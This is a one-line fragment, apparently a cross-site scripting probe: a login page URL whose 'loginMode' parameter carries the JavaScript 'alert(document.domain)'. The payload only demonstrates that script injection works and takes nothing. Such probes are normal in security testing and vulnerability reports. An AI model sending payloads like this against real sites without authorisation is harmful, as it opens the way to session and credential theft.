loginPage?loginMode=alert(document.domain)